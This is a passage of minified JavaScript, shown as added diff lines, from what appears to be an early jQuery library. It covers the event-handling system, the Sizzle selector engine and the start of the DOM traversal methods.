+""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&i?a.getAttribute(b,2):a.getAttribute(b);return a===null?v:a}return c.style(a,b,d)}});var ab=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==z&&!a.frameElement)a=z;if(!d.guid)d.guid=c.guid++;if(f!==v){d=c.proxy(d);d.data=f}var e=c.data(a,"events")||c.data(a,"events",{}),i=c.data(a,"handle"),j;if(!i){j=
+function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(j.elem,arguments):v};i=c.data(a,"handle",j)}if(i){i.elem=a;b=b.split(/\s+/);for(var n,o=0;n=b[o++];){var m=n.split(".");n=m.shift();if(o>1){d=c.proxy(d);if(f!==v)d.data=f}d.type=m.slice(0).sort().join(".");var s=e[n],x=this.special[n]||{};if(!s){s=e[n]={};if(!x.setup||x.setup.call(a,f,m,d)===false)if(a.addEventListener)a.addEventListener(n,i,false);else a.attachEvent&&a.attachEvent("on"+n,i)}if(x.add)if((m=x.add.call(a,
+d,f,m,s))&&c.isFunction(m)){m.guid=m.guid||d.guid;m.data=m.data||d.data;m.type=m.type||d.type;d=m}s[d.guid]=d;this.global[n]=true}a=null}}},global:{},remove:function(a,b,d){if(!(a.nodeType===3||a.nodeType===8)){var f=c.data(a,"events"),e,i,j;if(f){if(b===v||typeof b==="string"&&b.charAt(0)===".")for(i in f)this.remove(a,i+(b||""));else{if(b.type){d=b.handler;b=b.type}b=b.split(/\s+/);for(var n=0;i=b[n++];){var o=i.split(".");i=o.shift();var m=!o.length,s=c.map(o.slice(0).sort(),ab);s=new RegExp("(^|\\.)"+
+s.join("\\.(?:.*\\.)?")+"(\\.|$)");var x=this.special[i]||{};if(f[i]){if(d){j=f[i][d.guid];delete f[i][d.guid]}else for(var A in f[i])if(m||s.test(f[i][A].type))delete f[i][A];x.remove&&x.remove.call(a,o,j);for(e in f[i])break;if(!e){if(!x.teardown||x.teardown.call(a,o)===false)if(a.removeEventListener)a.removeEventListener(i,c.data(a,"handle"),false);else a.detachEvent&&a.detachEvent("on"+i,c.data(a,"handle"));e=null;delete f[i]}}}}for(e in f)break;if(!e){if(A=c.data(a,"handle"))A.elem=null;c.removeData(a,
+"events");c.removeData(a,"handle")}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();this.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return v;a.result=v;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,
+b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(i){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){d=a.target;var j;if(!(c.nodeName(d,"a")&&e==="click")&&!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()])){try{if(d[e]){if(j=d["on"+e])d["on"+e]=null;this.triggered=true;d[e]()}}catch(n){}if(j)d["on"+e]=j;this.triggered=false}}},handle:function(a){var b,
+d;a=arguments[0]=c.event.fix(a||z.event);a.currentTarget=this;d=a.type.split(".");a.type=d.shift();b=!d.length&&!a.exclusive;var f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)");d=(c.data(this,"events")||{})[a.type];for(var e in d){var i=d[e];if(b||f.test(i.type)){a.handler=i;a.data=i.data;i=i.apply(this,arguments);if(i!==v){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
+fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||r;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=r.documentElement;d=r.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||
+d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==v)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a,b){c.extend(a,b||{});a.guid+=b.selector+b.live;b.liveProxy=a;c.event.add(this,b.live,na,b)},remove:function(a){if(a.length){var b=
+0,d=new RegExp("(^|\\.)"+a[0]+"(\\.|$)");c.each(c.data(this,"events").live||{},function(){d.test(this.type)&&b++});b<1&&c.event.remove(this,a[0],na)}},special:{}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true};
+c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Aa=function(a){for(var b=
+a.relatedTarget;b&&b!==this;)try{b=b.parentNode}catch(d){break}if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}},Ba=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ba:Aa,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ba:Aa)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(a,b,d){if(this.nodeName.toLowerCase()!==
+"form"){c.event.add(this,"click.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="submit"||i==="image")&&c(e).closest("form").length)return ma("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="text"||i==="password")&&c(e).closest("form").length&&f.keyCode===13)return ma("submit",this,arguments)})}else return false},remove:function(a,b){c.event.remove(this,"click.specialSubmit"+(b?"."+b.guid:""));c.event.remove(this,
+"keypress.specialSubmit"+(b?"."+b.guid:""))}};if(!c.support.changeBubbles){var da=/textarea|input|select/i;function Ca(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d}function ea(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Ca(d);if(a.type!=="focusout"||
+d.type!=="radio")c.data(d,"_change_data",e);if(!(f===v||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}}c.event.special.change={filters:{focusout:ea,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return ea.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return ea.call(this,a)},beforeactivate:function(a){a=
+a.target;a.nodeName.toLowerCase()==="input"&&a.type==="radio"&&c.data(a,"_change_data",Ca(a))}},setup:function(a,b,d){for(var f in T)c.event.add(this,f+".specialChange."+d.guid,T[f]);return da.test(this.nodeName)},remove:function(a,b){for(var d in T)c.event.remove(this,d+".specialChange"+(b?"."+b.guid:""),T[d]);return da.test(this.nodeName)}};var T=c.event.special.change.filters}r.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,
+f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var i in d)this[b](i,f,d[i],e);return this}if(c.isFunction(f)){e=f;f=v}var j=b==="one"?c.proxy(e,function(n){c(this).unbind(n,j);return e.apply(this,arguments)}):e;return d==="unload"&&b!=="one"?this.one(d,f,e):this.each(function(){c.event.add(this,d,j,f)})}});c.fn.extend({unbind:function(a,
+b){if(typeof a==="object"&&!a.preventDefault){for(var d in a)this.unbind(d,a[d]);return this}return this.each(function(){c.event.remove(this,a,b)})},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+
+a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e){var i,j=0;if(c.isFunction(f)){e=f;f=v}for(d=(d||"").split(/\s+/);(i=d[j++])!=null;){i=i==="focus"?"focusin":i==="blur"?"focusout":i==="hover"?d.push("mouseleave")&&"mouseenter":i;b==="live"?c(this.context).bind(oa(i,this.selector),{data:f,selector:this.selector,
+live:i},e):c(this.context).unbind(oa(i,this.selector),e?{guid:e.guid+this.selector+i}:null)}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});z.attachEvent&&!z.addEventListener&&z.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});
+(function(){function a(g){for(var h="",k,l=0;g[l];l++){k=g[l];if(k.nodeType===3||k.nodeType===4)h+=k.nodeValue;else if(k.nodeType!==8)h+=a(k.childNodes)}return h}function b(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===k){y=l[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=k;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}l[q]=y}}}function d(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===
+k){y=l[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=k;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(o.filter(h,[t]).length>0){y=t;break}}t=t[g]}l[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,i=Object.prototype.toString,j=false,n=true;[0,0].sort(function(){n=false;return 0});var o=function(g,h,k,l){k=k||[];var q=h=h||r;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||
+typeof g!=="string")return k;for(var p=[],u,t,y,R,H=true,M=w(h),I=g;(f.exec(""),u=f.exec(I))!==null;){I=u[3];p.push(u[1]);if(u[2]){R=u[3];break}}if(p.length>1&&s.exec(g))if(p.length===2&&m.relative[p[0]])t=fa(p[0]+p[1],h);else for(t=m.relative[p[0]]?[h]:o(p.shift(),h);p.length;){g=p.shift();if(m.relative[g])g+=p.shift();t=fa(g,t)}else{if(!l&&p.length>1&&h.nodeType===9&&!M&&m.match.ID.test(p[0])&&!m.match.ID.test(p[p.length-1])){u=o.find(p.shift(),h,M);h=u.expr?o.filter(u.expr,u.set)[0]:u.set[0]}if(h){u=
+l?{expr:p.pop(),set:A(l)}:o.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=u.expr?o.filter(u.expr,u.set):u.set;if(p.length>0)y=A(t);else H=false;for(;p.length;){var D=p.pop();u=D;if(m.relative[D])u=p.pop();else D="";if(u==null)u=h;m.relative[D](y,u,M)}}else y=[]}y||(y=t);y||o.error(D||g);if(i.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))k.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&
+y[g].nodeType===1&&k.push(t[g]);else k.push.apply(k,y);else A(y,k);if(R){o(R,q,k,l);o.uniqueSort(k)}return k};o.uniqueSort=function(g){if(C){j=n;g.sort(C);if(j)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};o.matches=function(g,h){return o(g,null,null,h)};o.find=function(g,h,k){var l,q;if(!g)return[];for(var p=0,u=m.order.length;p<u;p++){var t=m.order[p];if(q=m.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");l=m.find[t](q,
+h,k);if(l!=null){g=g.replace(m.match[t],"");break}}}}l||(l=h.getElementsByTagName("*"));return{set:l,expr:g}};o.filter=function(g,h,k,l){for(var q=g,p=[],u=h,t,y,R=h&&h[0]&&w(h[0]);g&&h.length;){for(var H in m.filter)if((t=m.leftMatch[H].exec(g))!=null&&t[2]){var M=m.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-1)!=="\\"){if(u===p)p=[];if(m.preFilter[H])if(t=m.preFilter[H](t,u,k,p,l,R)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=u[U])!=null;U++)if(D){I=M(D,t,U,u);var Da=
+l^!!I;if(k&&I!=null)if(Da)y=true;else u[U]=false;else if(Da){p.push(D);y=true}}if(I!==v){k||(u=p);g=g.replace(m.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)o.error(g);else break;q=g}return u};o.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var m=o.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
+TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},relative:{"+":function(g,h){var k=typeof h==="string",l=k&&!/\W/.test(h);k=k&&!l;if(l)h=h.toLowerCase();l=0;for(var q=g.length,
+p;l<q;l++)if(p=g[l]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[l]=k||p&&p.nodeName.toLowerCase()===h?p||false:p===h}k&&o.filter(h,g,true)},">":function(g,h){var k=typeof h==="string";if(k&&!/\W/.test(h)){h=h.toLowerCase();for(var l=0,q=g.length;l<q;l++){var p=g[l];if(p){k=p.parentNode;g[l]=k.nodeName.toLowerCase()===h?k:false}}}else{l=0;for(q=g.length;l<q;l++)if(p=g[l])g[l]=k?p.parentNode:p.parentNode===h;k&&o.filter(h,g,true)}},"":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=
+h=h.toLowerCase();q=b}q("parentNode",h,l,g,p,k)},"~":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,l,g,p,k)}},find:{ID:function(g,h,k){if(typeof h.getElementById!=="undefined"&&!k)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var k=[];h=h.getElementsByName(g[1]);for(var l=0,q=h.length;l<q;l++)h[l].getAttribute("name")===g[1]&&k.push(h[l]);return k.length===0?null:k}},
+TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,k,l,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var u;(u=h[p])!=null;p++)if(u)if(q^(u.className&&(" "+u.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))k||l.push(u);else if(k)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&
+"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,k,l,q,p){h=g[1].replace(/\\/g,"");if(!p&&m.attrMap[h])g[1]=m.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,k,l,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=o(g[3],null,null,h);else{g=o.filter(g[3],h,k,true^q);k||l.push.apply(l,g);return false}else if(m.match.POS.test(g[0])||m.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);
+return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,k){return!!o(k[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===
+g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,k,l){return h===l.length-1},even:function(g,h){return h%2===
+0},odd:function(g,h){return h%2===1},lt:function(g,h,k){return h<k[3]-0},gt:function(g,h,k){return h>k[3]-0},nth:function(g,h,k){return k[3]-0===h},eq:function(g,h,k){return k[3]-0===h}},filter:{PSEUDO:function(g,h,k,l){var q=h[1],p=m.filters[q];if(p)return p(g,k,h,l);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];k=0;for(l=h.length;k<l;k++)if(h[k]===g)return false;return true}else o.error("Syntax error, unrecognized expression: "+
+q)},CHILD:function(g,h){var k=h[1],l=g;switch(k){case "only":case "first":for(;l=l.previousSibling;)if(l.nodeType===1)return false;if(k==="first")return true;l=g;case "last":for(;l=l.nextSibling;)if(l.nodeType===1)return false;return true;case "nth":k=h[2];var q=h[3];if(k===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var u=0;for(l=p.firstChild;l;l=l.nextSibling)if(l.nodeType===1)l.nodeIndex=++u;p.sizcache=h}g=g.nodeIndex-q;return k===0?g===0:g%k===0&&g/k>=
+0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var k=h[1];g=m.attrHandle[k]?m.attrHandle[k](g):g[k]!=null?g[k]:g.getAttribute(k);k=g+"";var l=h[2];h=h[4];return g==null?l==="!=":l==="="?k===h:l==="*="?k.indexOf(h)>=0:l==="~="?(" "+k+" ").indexOf(h)>=0:!h?k&&g!==false:l==="!="?k!==h:l==="^="?
+k.indexOf(h)===0:l==="$="?k.substr(k.length-h.length)===h:l==="|="?k===h||k.substr(0,h.length+1)===h+"-":false},POS:function(g,h,k,l){var q=m.setFilters[h[2]];if(q)return q(g,k,h,l)}}},s=m.match.POS;for(var x in m.match){m.match[x]=new RegExp(m.match[x].source+/(?![^\[]*\])(?![^\(]*\))/.source);m.leftMatch[x]=new RegExp(/(^(?:.|\r|\n)*?)/.source+m.match[x].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var A=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};
+try{Array.prototype.slice.call(r.documentElement.childNodes,0)}catch(B){A=function(g,h){h=h||[];if(i.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var k=0,l=g.length;k<l;k++)h.push(g[k]);else for(k=0;g[k];k++)h.push(g[k]);return h}}var C;if(r.documentElement.compareDocumentPosition)C=function(g,h){if(!g.compareDocumentPosition||!h.compareDocumentPosition){if(g==h)j=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g===
+h?0:1;if(g===0)j=true;return g};else if("sourceIndex"in r.documentElement)C=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)j=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)j=true;return g};else if(r.createRange)C=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)j=true;return g.ownerDocument?-1:1}var k=g.ownerDocument.createRange(),l=h.ownerDocument.createRange();k.setStart(g,0);k.setEnd(g,0);l.setStart(h,0);l.setEnd(h,0);g=k.compareBoundaryPoints(Range.START_TO_END,
+l);if(g===0)j=true;return g};(function(){var g=r.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var k=r.documentElement;k.insertBefore(g,k.firstChild);if(r.getElementById(h)){m.find.ID=function(l,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(l[1]))?q.id===l[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===l[1]?[q]:v:[]};m.filter.ID=function(l,q){var p=typeof l.getAttributeNode!=="undefined"&&l.getAttributeNode("id");
+return l.nodeType===1&&p&&p.nodeValue===q}}k.removeChild(g);k=g=null})();(function(){var g=r.createElement("div");g.appendChild(r.createComment(""));if(g.getElementsByTagName("*").length>0)m.find.TAG=function(h,k){k=k.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var l=0;k[l];l++)k[l].nodeType===1&&h.push(k[l]);k=h}return k};g.innerHTML="<a href='#'></a>";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")m.attrHandle.href=function(h){return h.getAttribute("href",
+2)};g=null})();r.querySelectorAll&&function(){var g=o,h=r.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){o=function(l,q,p,u){q=q||r;if(!u&&q.nodeType===9&&!w(q))try{return A(q.querySelectorAll(l),p)}catch(t){}return g(l,q,p,u)};for(var k in g)o[k]=g[k];h=null}}();(function(){var g=r.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===
+0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){m.order.splice(1,0,"CLASS");m.find.CLASS=function(h,k,l){if(typeof k.getElementsByClassName!=="undefined"&&!l)return k.getElementsByClassName(h[1])};g=null}}})();var E=r.compareDocumentPosition?function(g,h){return g.compareDocumentPosition(h)&16}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},w=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},fa=function(g,h){var k=[],
+l="",q;for(h=h.nodeType?[h]:h;q=m.match.PSEUDO.exec(g);){l+=q[0];g=g.replace(m.match.PSEUDO,"")}g=m.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)o(g,h[q],k);return o.filter(l,k)};c.find=o;c.expr=o.selectors;c.expr[":"]=c.expr.filters;c.unique=o.uniqueSort;c.getText=a;c.isXMLDoc=w;c.contains=E})();var bb=/Until$/,cb=/^(?:parents|prevUntil|prevAll)/,db=/,/;Q=Array.prototype.slice;var Ea=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,i){return!!b.call(e,i,e)===d});else if(b.nodeType)return c.grep(a,
+function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Qa.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;c.find(a,this[f],b);if(f>0)for(var i=d;i<b.length;i++)for(var j=0;j<d;j++)if(b[j]===b[i]){b.splice(i--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=
+0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ea(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ea(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,i={},j;if(f&&a.length){e=0;for(var n=a.length;e<n;e++){j=a[e];i[j]||(i[j]=c.expr.match.POS.test(j)?c(j,b||this.context):j)}for(;f&&f.ownerDocument&&f!==b;){for(j in i){e=i[j];if(e.jquery?e.index(f)>
+-1:c(f).is(e)){d.push({selector:j,elem:f});delete i[j]}}f=f.parentNode}}return d}var o=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(m,s){for(;s&&s.ownerDocument&&s!==b;){if(o?o.index(s)>-1:c(s).is(a))return s;s=s.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),
+a);return this.pushStack(pa(a[0])||pa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},
+nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);bb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):
+e;if((this.length>1||db.test(f))&&cb.test(a))e=e.reverse();return this.pushStack(e,a,Q.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===v||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==
